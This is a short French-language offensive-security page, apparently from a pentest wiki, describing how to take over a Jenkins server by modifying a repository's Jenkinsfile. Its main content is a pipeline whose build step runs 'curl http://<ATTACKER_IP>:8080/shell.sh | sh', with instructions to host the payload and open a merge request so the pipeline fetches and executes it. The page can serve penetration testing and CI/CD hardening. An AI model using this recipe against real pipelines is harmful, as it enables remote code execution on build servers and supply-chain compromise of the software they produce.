[Web] CI/CD
Introduction
Cette page décrit différentes exploitations de vulnérabilités dans le processus CI/CD qui peuvent être exploitées au profit d'un attaquant.
Techniques
Build Process
Dans le cas où vous auriez accès à un dépôt Git avec un accès à un JenkinsFile, vous pourriez le modifier pour prendre le contrôle du serveur Jenkins.
Pour cela, vous pouvez créer un fork du projet pour modifier le JenkinsFile de la sorte :
pipeline {
agent any
stages {
stage('build') {
steps {
sh '''
curl http://<ATTACKER_IP>:8080/shell.sh | sh
'''
}
}
}
}
Vous devez au préalable créer votre payload et l'héberger sur votre serveur web.
Vous pouvez ensuite faire un Merge Request pour lancer la pipeline et exécuter le payload.